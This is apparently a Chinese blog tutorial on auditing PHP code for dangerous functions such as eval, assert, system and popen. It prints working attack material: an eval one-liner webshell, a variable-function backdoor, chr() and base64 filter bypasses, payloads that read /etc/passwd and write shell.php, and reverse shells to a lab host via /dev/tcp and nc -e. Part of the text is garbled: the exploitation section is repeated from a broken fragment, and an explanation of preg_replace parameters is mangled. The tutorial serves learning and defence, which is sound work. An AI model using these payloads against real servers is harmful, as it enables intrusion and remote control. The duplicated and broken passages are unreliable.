后端代码审计——PHP函数及PHP危险函数

2023-11-05

PHP函数

函数定义:函数就是可以完成固定功能的语句或语句集合,可以重复调用。

1. 自定义函数

1.1 函数语言结构

function 函数名(形式参数1,形式参数2...){
    //函数体

    return 返回值;
}

函数名();

定义一个简单的函数:

// funtion.php

function test(){
    echo "This is function ".__FUNCTION__;
}

test();

说明:_FUNCTION_:输出当前函数的名字。

1.2 函数传参

// function.php

function add($x, $y){
    $sum = $x + $y;
    return $sum;
}

echo add(10, 3);

注意

  • function 是PHP 的关键字,用于完成函数的定义。
  • 函数名的命名,应该避开PHP 关键字,命名规则与变量的命名规则相同。
  • 形式参数,形参,给函数传递参数用的,仅作占位用。
  • 实际参数,实参,真正参与函数运算的。
  • 函数体,执行函数功能的部分。
  • 返回值,返回给调用的地方,默认返回NULL。

1.3 函数调用

函数的调用,函数名加上小括号。

1.3.1 函数调用过程

function a(){
    echo "This is func ".__FUNCTION__."<br />";
}

function b(){
    echo __FUNCTION__." is starting...<br />";
    a();
    echo __FUNCTION__." is stopped!<br />";
}

b();

注意

  • 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符。
  • 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系。
  • 函数执行完毕,返回调用的位置继续向下执行。

1.4 变量范围

  • 局部变量
  • 全局变量
  • 超全局变量

1.4.1 局部变量

局部变量,就是在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.php

function get_name(){
    $username = "AJEST";
    echo "My name is {$username}";
}
get_name();

echo $username;     // Notice: Undefined variable: username

1.4.2 全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php

$username = "AJEST";

function get_name(){
    echo "My name is {$username}";
}

get_name();     // Notice: Undefined variable: username

注意:PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与JavaScript 和Python 不同。

可以有如下变通方法:

  • 利用函数传参的方式。
$username = "AJEST";

function get_name($username){
    echo "My name is {$username}";
}

get_name($username);
  • 用global 声明变量是全局变量。
// function.php

$username = "AJEST";

function get_name(){
    global $username;
    echo "My name is {$username}";
}

get_name();

1.5 参数传递

1.5.1 按值传参

默认传参方式。

function add($x, $y){
    $sum = $x + $y;
    return $sum;
}

echo add(10, 3);

对形参的操作,不会改变实参的值。

1.5.2 默认参数

可以给形式参数设置默认值,设置方法很简单直接赋值即可。

给函数默认值的时候,全都给。

function add($x = 0, $y = 0){
    $sum = $x + $y;
    return $sum;
}

// echo add();          // 0
// echo add(10, 3);     // 13
echo add(10);           // 10
  • add(10),单个参数数字10 是给了x 呢?还是给了y 呢?

2. 可变函数

2.1 概述

可变函数也叫变量函数,动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用。

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它

2.2 动态函数

示例

function a(){
    echo "This is function a";
}

function b(){
    echo "This is function b";
}

// a();
// b();

// $func_name = "b";
$func_name  = ($_GET['func_name']);
$func_name();                   // a();
                                // b();
                                // phpinfo();

2.3 最简单后门

通过可变函数实际上可以调用任意PHP 函数。

$_GET['a']($_GET['b']);

可变函数不能用于,例如echo,print,unset(),isset(),empty(),include,require,eval 等类似的语言结构。

可以使用自己的包装函数来将这些结构用作可变函数。

function e($code){
    @eval($code);
}

$_GET['a']($_GET['b']);
//?a=e&b=phpinfo();
//?a=e&b=ipconfig;

说明

  • eval():会将符合PHP 语法规范字符串当作php代码执行。

3. 内置函数

内部(内置)函数,PHP 提供许多现成的函数或者语言结构,可以直接使用。

system();	// 执行外部程序,并且显示输出

PHP内置函数大全

PHP危险函数

PHP 中有一些函数是比较危险的,也是进行PHP 代码审计的时候需要重点关注的内容。

函数或语句或结构 含义
eval() 将符合PHP 语法规范字符串当作php 代码执行
assert() 将字符串当做PHP 代码来执行
preg_replace() 对字符串进行正则匹配后替换
call_user_func() 用于调用一个回调函数,并将参数作为参数传递给回调函数。
call_user_func_array() 用于以数组形式调用一个回调函数,并将参数作为数组的元素传递给回调函数。
array_map() 用于将回调函数应用于一个或多个数组的所有元素,并返回一个新的数组,其中包含应用回调函数后的结果。
a ( a( a(b) 动态函数
system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行
exec() 用于执行操作系统的命令,并返回命令的输出或结果。
shell_exec() 用于在服务器上执行 shell 命令,并将命令的输出作为字符串返回。
passthru() 用于执行命令并将输出直接发送到标准输出(通常是浏览器)
popen() 用于执行命令并通过管道将其输入或输出与程序相关联。它创建一个文件指针(类似于打开文件)以用于读取或写入命令的输出或输入。
反引号 反引号` 内的字符串,会被解析成OS 命令。

1. eval 语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行。

代码示例:

<?php
    // $code = "phpinfo();";
    // echo $code;
    // var_dump($code);
    
    $code = $_REQUEST['code'];
    eval($code);

?>

一句话木马原型。
在虚拟机的浏览器中输入?code=phpinfo();页面显示效果:
image-20230819113256374

1.1 绕过限制

$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];
//empty() 是一个 PHP 函数,用于检查给定变量是否为空或不存在。在这里,它用于检查用户是否提供了 "code" 参数或该参数的值为空。

$code = addslashes($code);
//addslashes($code) 这个命令的作用是对变量 $code 中的字符串进行转义处理。

//echo $code;

eval($code);

如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,可以采用如下方法进行绕过:

ASCII 编码

system('whoami');

chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59)

?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59));

BASE64 编码

system('whoami');

c3lzdGVtKCd3aG9hbWknKTs=

?code=eval(base64_decode(c3lzdGVtKCd3aG9hbWknKTs));

说明:虽然可以使用函数的方式调用eval(),但是eval() 不是PHP 的函数,是一种语法结构,不能动态调用。在eval() 执行的字符串要以分号结束

其他命令执行的方式:

?code=phpinfo();

?code=${phpinfo()};

?code=ajest;phpinfo();

?code=?>AJEST IS HANDSOME<?php phpinfo();

?code=eval(phpinfo());

安全的过滤防止潜在的安全漏洞

在使用 eval() 函数之前,可以通过以下方法对用户输入进行过滤和验证,防止潜在的安全漏洞:

  1. 禁用危险函数:阻止用户代码中调用危险函数或类。可以使用 PHP 的 disable_functions 配置指令在 php.ini 文件中禁用一些敏感的函数,例如 exec()system()shell_exec()passthru() 等可以执行系统命令的函数。
  2. 白名单验证:定义一个允许的代码集合,只接受特定的函数或命令。使用白名单过滤,只允许用户代码中使用预定义的安全函数或命令,并拒绝其他不受支持的函数或命令。
  3. 输入验证:验证用户输入是否符合预期的格式、类型或约束条件。使用函数如 is_numeric()intval()filter_var() 等进行输入验证,确保用户提供的参数符合预期的数据类型或格式要求。
  4. 转义字符:对用户输入的字符串或命令进行转义处理,以避免特殊字符被误认为代码的一部分。可以使用函数如 addslashes()htmlspecialchars() 等对特殊字符进行转义,确保它们不会破坏代码结构或引入安全风险。
  5. 正则表达式:使用正则表达式进行模式匹配和过滤,以确保用户输入只包含合法的命令或函数。通过限制输入的格式和内容,可以降低风险。

2. assert 函数

assert():会将字符串当做PHP代码来执行。

代码示例:

<?php
    // $code = "phpinfo();";
    // var_dump($code);
    
    $code = $_REQUEST['code'];
    assert($code);
?>

说明

  • assert() 只能执行单条PHP 语句。
  • assert() 是一个函数,可以动态调用。
  • 高版本的PHP中,assert() 被弃用。

3. preg_replace 函数

preg_replace() 函数的作用是对字符串进行正则匹配后替换。

代码示例:

<?php
    $code = preg_replace('~a~', 'A', 'ajest');
    $code = preg_replace('~\[.*\]~', 'A', '[phpinfo()]');  
    $code = preg_replace('~\[(.*)\]~', 'A', '[phpinfo()]');  
    $code = preg_replace('~\[(.*)\]~', '\\1', '[phpinfo()]');      
    $code = preg_replace('~\[(.*)\]~e', '\\1', '[phpinfo()]');      
    echo $code;
?>

说明

  • 函数原型如下:

    preg_replace($pattern, $replacement, $subject, $limit = -1, &$count = null): mixed
    

    搜索 s u b j e c t 中匹配 subject 中匹配 subject中匹配pattern 的部分,以$replacement 进行替换。

  • preg_replace() 函数中第一个参数是正则表达式,e 是正则表达式的修饰符。

  • preg_replace('~\(.*\)~', 'A', '[phpinfo()]');代码解析如下:

    • ~\[.*\]~:这是一个正则表达式模式,用来匹配方括号括起来的内容。其中,~ 是正则表达式的分隔符,\( 表示匹配左括号 (.* 表示匹配任意字符零次或多次,\) 表示匹配右括号 )

    • 'A':是替换匹配到的内容的字符串,将匹配到的 [...] 部分替换为字符 'A'

      image-20230819141918600

4. 回调函数

一个函数调用另外一个函数,PHP 语言中回调函数有很多。

4.1 call_user_func

<?php
    $func = 'assert';
    $arg = 'phpinfo();';

    call_user_func($func, $arg);
?>

image-20230819150157396

说明

  • call_user_func() 是一个 PHP 函数,用于调用一个回调函数,并将参数作为参数传递给回调函数。

  • assert():是一个 PHP函数,用于检查给定的表达式是否为真。如果表达式的结果为假,则会触发一个断言错误,并中止脚本的执行。

  • 函数原型:

    mixed call_user_func(callable $callback, mixed ...$parameters)
    

    参数

    • $callback:要调用的回调函数。它可以是一个函数名的字符串,也可以是一个包含对象和方法名的数组,或者是一个匿名函数。
    • $parameters:可选的参数,用于传递给回调函数。

    返回值

    • 调用成功时,返回回调函数的返回值。
    • 调用失败时,返回 false

4.2 array_map

<?php
    $func = "assert";
    $arg[] = "phpinfo();";

    array_map($func, $arg);
?>

说明

  • 用于将回调函数应用于一个或多个数组的所有元素,并返回一个新的数组,其中包含应用回调函数后的结果。

  • 函数原型:

    array array_map(callable $callback, array $array1, ...)
    

    参数

    • $callback:要应用于每个数组元素的回调函数。
    • $array1:第一个要处理的数组。
    • ...:可选的额外数组,可以提供多个数组进行处理。

    返回值

    • 一个新数组,其中包含应用回调函数后的结果。新数组的长度由最短输入数组决定。

5. 动态函数

由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

<?php
    $code = "phpinfo();";
    $func = "assert";

    $func($code);   // assert(phpinfo());
?>

6. OS 命令执行函数

6.1 system 函数

system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行。在类似systemc() 函数调用系统命令时,PHP 会自动区分平台。

代码示例:

<?php
    // $cmd = "net user";
    
    $cmd = $_REQUEST['cmd'];
    system($cmd);
?>

image-20230819151848789

说明

  • 自带输出功能。
  • 自动区分系统平台。
?cmd=whoami

?cmd=ipconfig

?cmd=uname -a

6.2 exec 函数

exec():用于执行操作系统的命令,并返回命令的输出或结果。

代码示例

<?php
    // $cmd = "whoami";
    
    $cmd = $_REQUEST['cmd'];
    echo exec($cmd);
?>

函数特点

  • 需要输出命令执行结果。
  • 只输出命令执行结果的最后一行,约等于没有回显。

6.3 shell_exec 函数

shell_exec():用于在服务器上执行 shell 命令,并将命令的输出作为字符串返回。

代码示例:

<?php
    // $cmd = "whoami";
    
    $cmd = $_REQUEST['cmd'];
    echo shell_exec($cmd);
?>

说明

  • 需要输出命令执行结果。

6.4 passthru 函数

passthru():用于执行命令并将输出直接发送到标准输出(通常是浏览器)。

代码示例:

<?php
    // $cmd = "whoami";
    
    $cmd = $_REQUEST['cmd'];
    passthru($cmd);
?>

说明

  • 自带输出功能。

6.5 popen 函数

popen():用于执行命令并通过管道将其输入或输出与程序相关联。它创建一个文件指针(类似于打开文件)以用于读取或写入命令的输出或输入。

代码示例

<?php
    $cmd = $_REQUEST['cmd'];
    $result = popen($cmd, 'r');
    echo fread($result, 1024);
    //fread() 是一个 PHP 函数,用于从文件指针中读取指定长度的数据。
?>

说明

  • 函数返回值为文件指针,可以简单理解为文件名。

  • 函数原型:

    resource|false popen(string $command, string $mode)
    

    参数

    • $command:要执行的命令。
    • $mode:指定管道的模式,可以是 "r"(只读)或 "w"(只写)。

    返回值

    • 如果成功,则返回一个文件指针资源(resource)。
    • 如果失败,则返回 false

6.6 反引号

反引号` 内的字符串,会被解析成OS 命令。

代码示例

<?php
    $cmd = "whoami";
    //$cmd = "ipconfig";
    //$cmd = "net user";

    echo "<pre>".`$cmd`;
?>

RCE

1. PHP 代码注入

原理

传入PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)他想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在PHP 代码注入漏洞,也就是RCE。

危害

Web 应用如果存在远程代码执行漏洞(RCE)是一件非常可怕的事情,攻击者通过RCE 继承Web 用户权限,执行任意(PHP)代码。

如果服务器没有正确配置,Web 用户权限比较高的话,就可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

漏洞利用

代码执行漏洞的利用方式有很多种。

获取Shell,中国蚁剑可以直接连接。

shell: http://10.4.7.187/php/functions/eval.php
pass: code

获取当前文件的绝对路径。

?code=print(__FILE__);

读文件。

?code=print(file_get_contents('eval.php'));
?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));

写文件。

?code=file_put_contents('shell.php','<?php phpinfo();?>');

2. OS 命令注入漏洞

原理

应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

漏洞危害

  • 继承Web 服务器程序权限,去执行系统命令。
  • 继承Web 服务器权限,读写文件。
  • 反弹Shell。
  • 控制整个网站,控制整个服务器。

漏洞利用

OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意系统命令,危害特别大。

查看系统文件(读)。

?cmd=type c:\windows\system32\drivers\etc\hosts
?cmd=cat /etc/passwd

显示当前路径。

?cmd=cd

写文件。

?cmd=echo ^<^?php phpinfo();^?^> > shell.php
?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php
?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php

执行某一个程序。

?cmd=c:\windows\system32\calc.exe

反弹Shell。

#   本机监听
nc -lnvp 1234

#   Linux 下反弹Shell      
?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1
?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash

#   Windows 反弹Shell
?cmd=nc.exe -e cmd.exe 10.4.7.1 1234

漏洞防御

  • 尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
  • preg_replace() 放弃使用e 修饰符。
  • 在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert

2\drivers\etc\hosts
?cmd=cat /etc/passwd


显示当前路径。

```text
?cmd=cd

写文件。

?cmd=echo ^<^?php phpinfo();^?^> > shell.php
?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php
?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php

执行某一个程序。

?cmd=c:\windows\system32\calc.exe

反弹Shell。

#   本机监听
nc -lnvp 1234

#   Linux 下反弹Shell      
?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1
?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash

#   Windows 反弹Shell
?cmd=nc.exe -e cmd.exe 10.4.7.1 1234

漏洞防御

  • 尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
  • preg_replace() 放弃使用e 修饰符。
  • 在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert
  • 参数的值尽量使用引号包裹,并在拼接前调用addslashes() 进行转义。
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

后端代码审计——PHP函数及PHP危险函数 的相关文章

  • URL 中的 %2F 中断并且未引用所需的 .php 文件 [重复]

    这个问题在这里已经有答案了 我需要将 作为变量作为 URL 的一部分传递 我的结构如下所示 www domain com listings page 1 city Burnaby South type Townhome bedroom 2
  • 如何从父类中获取子类名

    我试图在不需要子类上的函数的情况下完成此任务 这可能吗 我有一种感觉 但我真的很想确定
  • Laravel $request->file() 返回 null

    尝试在后端使用 Laravel 上传文件时遇到问题 Issue Laravel request gt file 方法返回 null Setup 我使用以下方法构建了一个 AJAX 请求超级代理人 https github com visio
  • 为什么我的会话仍然存在?

    我一定很愚蠢 因为似乎一件相当明显的事情现在让我完全困惑 我有一个会议 ie SESSION handbag id 在某个时刻 我需要彻底终止这个会话 ie at the start of the page session start el
  • 在服务器上找不到本地主机或 phpMyAdmin:如何修复?

    我按照安装说明进行操作PHP MySQL and PHPMyAdmin 但是当我尝试访问时http localhost phpmyadmin 我收到此错误 未找到 在此找不到请求的 URL phpmyadmin 服务器 然后我尝试访问loc
  • 适用于 Linux 的轻量级 IDE [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • PHP WCF 集成

    是不是如果我想支持php客户端访问我的服务 我必须有一个基本的http端点 这是因为php仍然只支持soap 1 1吗 据我所知 自从我使用 PHP 以来已经两年了 情况仍然如此 如果客户端应用程序将使用 PHP 的内置 SoapClien
  • PHP:读取所有传入 HTTP 请求的类 [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • 如何在 PHP 的 HTML 页面中显示错误消息?

    我有以下登录表单 login php 其中要求输入用户名和密码
  • 如何在 JavaScript 中创建服务器端进度指示器?

    我想在我的网站中创建一个部分 用户可以在其中进行一些简单的操作update纽扣 这些中的每一个update按钮将发送到服务器 并在幕后进行长时间的处理 当服务器处理数据时 我希望用户有某种进度指示器 例如进度条或文本百分比 我使用 jQue
  • 在哪里可以学习网络编程从入门到精通? [关闭]

    Closed 这个问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 我尝试做教程 但它是无组织且无结构的 我在哪里可以学习 PHP 从初学者到大师 我正在寻找类似的网站w
  • 使用 PHP glob 列出 FTP 服务器上的文件不起作用

    我使用此代码来访问目录 location files pictures glob location png 我想使用 FTP 访问远程路径 location opendir ftp user password host name files
  • 是否可以用 PHP 编写电子邮件解析器? [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • 一次从多个表中删除行

    我正在尝试将 2 个查询合并为一个这样的查询 result db gt query DELETE FROM menu WHERE name new or die db gt error result db gt query DELETE F
  • CodeIgniter:My_Lang 中的 get_instance

    我发现这个有用的国际化代码 http pastebin com SyKmPYTX http pastebin com SyKmPYTX 一切正常 除了我无法在此类中使用 CI 函数 我想从 DB 设置 languages 和 special
  • php - 解析html页面

    div divbox div p para1 p p para2 p p para3 p table class table tr td td tr table p para4 p p para5 p 有人可以告诉我如何解析这个 html
  • PHP session_regenerate_id 和黑莓浏览器

    问候 我正在开发一个登录系统 并陷入了黑莓浏览器身份验证的困境 他们似乎对 PHP 的 session regenerate id 有问题 有人可以建议替代方案吗 以下是身份验证和登录脚本 UPDATE看来会话一般都不起作用 拿出 sess
  • 使用会话 php 创建 cookie?

    我使用会话来登录我网站中的用户 问题是 我想让用户remember密码 因此关闭 打开浏览器后他们不需要再次登录 我需要使用 cookie 和 session 来实现它吗 my code user POST user pass POST p
  • Laravel 搜索关系

    我有两个相关的模型 我正在尝试在产品中进行搜索 并且仅显示实际搜索结果 而不是找到该产品的类别的所有产品 我不想搜索任何类别 因为无论搜索什么或找到什么 类别都会始终显示 Example I have the following categ
  • 通过 htaccess 将 PNG 解析为 PHP 仅适用于本地服务器,但不适用于网络服务器

    我用 PHP 创建了一个动态 PNG 图片 为了使用 PNG 扩展名 我创建了一个包含以下内容的 htaccess 文件 AddType application x httpd php png 在我的本地 XAMPP 服务器上 一切工作正常

随机推荐

  • vue调用视频播放插件

    安装依赖 npm install vue video player S 引入配置 import VideoPlayer from vue video player require video js dist video js css req
  • 如何直接关闭使用3306端口的进程

    要直接关闭使用3306端口的进程 你可以按照以下步骤进行操作 以关闭占领3306端口MySQL服务为例 获取占用3306端口的进程ID PID 在终端中执行以下命令 sudo lsof i 3306 查找输出中的进程ID PID 列 以及它
  • shell IF条件判断,判断条件

    http hi baidu com ryouaki item 0689dcb8a467b5a7eaba9319 前言 无论什么编程语言都离不开条件判断 SHELL也不例外 if list then do something here eli
  • k8s笔记17--ubuntu & k8s 开启 swap功能

    k8s笔记17 k8s 中途开启 swap功能 1 介绍 2 方法 2 1 ubuntu 开启swap 2 2 k8s 开启swap 3 说明 1 介绍 swap 功能是 linux是一个非常强大的功能 类似于windows的虚拟内存 当内
  • 【vue3+elementPlus】在el-table中使用popconfirm、popover、tooltip、select时,出现placement错位或者框被table的列遮挡的解决方案

    首先 第一种情况 项目设置了zoom 会导致el popconfirm el popover el tooltip el select位置不对 解决方案 temported false 给以上标签加该属性 意思是不插入body el pop
  • 一文读懂Uniswap V2的改进与创新

    Uniswap V2是链上交易所的下一个迭代产品 Uniswap是Ethereum区块链上的一个链上流动性协议 它可以实现无信任的代币交换 这意味着所有的交易都是由智能合约执行的 而不需要中介或受信任方 这种去中心化的交换代币的方法已经被证
  • Springboot2(27)集成netty实现反向代理(内网穿透)

    源码地址 springboot2教程系列 其它netty文件有博客 Springboot2 24 集成netty实现http服务 类似SpingMvc的contoller层实现 Springboot2 25 集成netty实现文件传输 Sp
  • 关于libc.so.6误删除紧急恢复的方案

    编者在一次实际生产下不小心将 libc so 6 变成了libc so 6 bak 当时没有发觉有什么不妥 但是在后面的时候 发现很多命令都无法使用 为了以后方便解决 所以将解决的方法记录 root用户下产生的libc so 6问题解决方法
  • ES6中Fetch的封装及使用,炒鸡简单~

    1 封装 http js class Ajax get url return new Promise resolve reject gt fetch url then res gt res json then data gt resolve
  • StyleCop 代码审查(VS插件)

    代码审查 StyleCop 介绍 下载 使用 自定义规则 源码 StyleCop简介 StyleCop是代码规范检查工具 Code Review 工具 它不仅仅检查代码格式 而是编码规范 包括命名和注释等 StyleCop可以帮助你更容易地
  • 【Matlab学习笔记】【数学形态学】数字图像处理(MATLAB版)冈萨雷斯第九章学习笔记

    1 形态学源于生物学 最初用于处理动植物的形状和结构 用于提取区域的形状 边界 骨骼或凸壳 形态学图像处理主要用于图像预处理和后处理 包括形态学滤波 细化和裁剪等 2 图像的形态学处理 由二值图像开始 逐步扩展到灰度图像 彩色图像 由简单到
  • 深入浅出SQL(3)-在Mac OS X上安装MySQL

    如何在Mac OS X上安装MySQL 下载安装包 打开官方下载地址 https dev mysql com downloads 选择合适版本的安装包 新建Oracle MySQL账户 email H10 登陆后下载安装包 安装 安装过程中
  • openGL GLSL GLSL.Refract & Reflect & Diffraction 反射、折射、衍射Fresnel Effect

    一 Refract Reflect Snell定律描述了光线从一个介质传播到另外一个介质时 入射角 折射角以及介质折射率的关系 通过snell定律 可以根据入射光的方向向量求取折射光的方向向量 Fresnel定律完善了光的衍射理论 当光线到
  • C++中GB2312字符串和UTF-8之间的转换

    在编程过程中需要对字符串进行不同的转换 特别是Gb2312和Utf 8直接的转换 在几个开源的魔兽私服中 很多都是老外开发的 而暴雪为了能 够兼容世界上的各个字符集也使用了UTF 8 在中国使用VS VS2005以上版本 开发基本都是使用G
  • MyBatis 配置多数据源

  • 解决FTP client 上传文件失败

    遇到的问题 在测试环境可以正常上传pdf 到了预发布环境虽然登陆成功了 但是上传的文件都是0KB 后来发现原来是运维添加了安全策略 需要在代码里添加以下方法 FTPClient enterLocalPassiveMode 调用FTPClie
  • 更换数据集

    以yolov5 deepsort的行人检测项目说一下怎么更换数据集 最终目标是要生成四个文件夹 一开始只有两个文件夹 1 标注文件 在终端输入lableme即可打开 尝试一下多分类 又是人 又是女人 如果win的lable导出的文件是xml
  • 安装SAPTrex

    1 下载安装包2 安装过程3 启动Admin工具C usr sap T02 TRX02TREXAdmin bat4 保存后 SM59会有一个新的T连接生成5 进去tcode SRMO 转载于 https blog 51cto com jen
  • android adb install apk的安装流程

    目录 一 PackageManagerService启动流程 二 apk adb安装流程 一 简介 1 Android上应用安装可以分为以下几种方式 通过adb命令安装 adb 命令包括adb push install 用户下载的Apk 通
  • 后端代码审计——PHP函数及PHP危险函数

    文章目录 PHP函数 1 自定义函数 1 1 函数语言结构 1 2 函数传参 1 3 函数调用 1 3 1 函数调用过程 1 4 变量范围 1 4 1 局部变量 1 4 2 全局变量 1 5 参数传递 1 5 1 按值传参 1 5 2 默认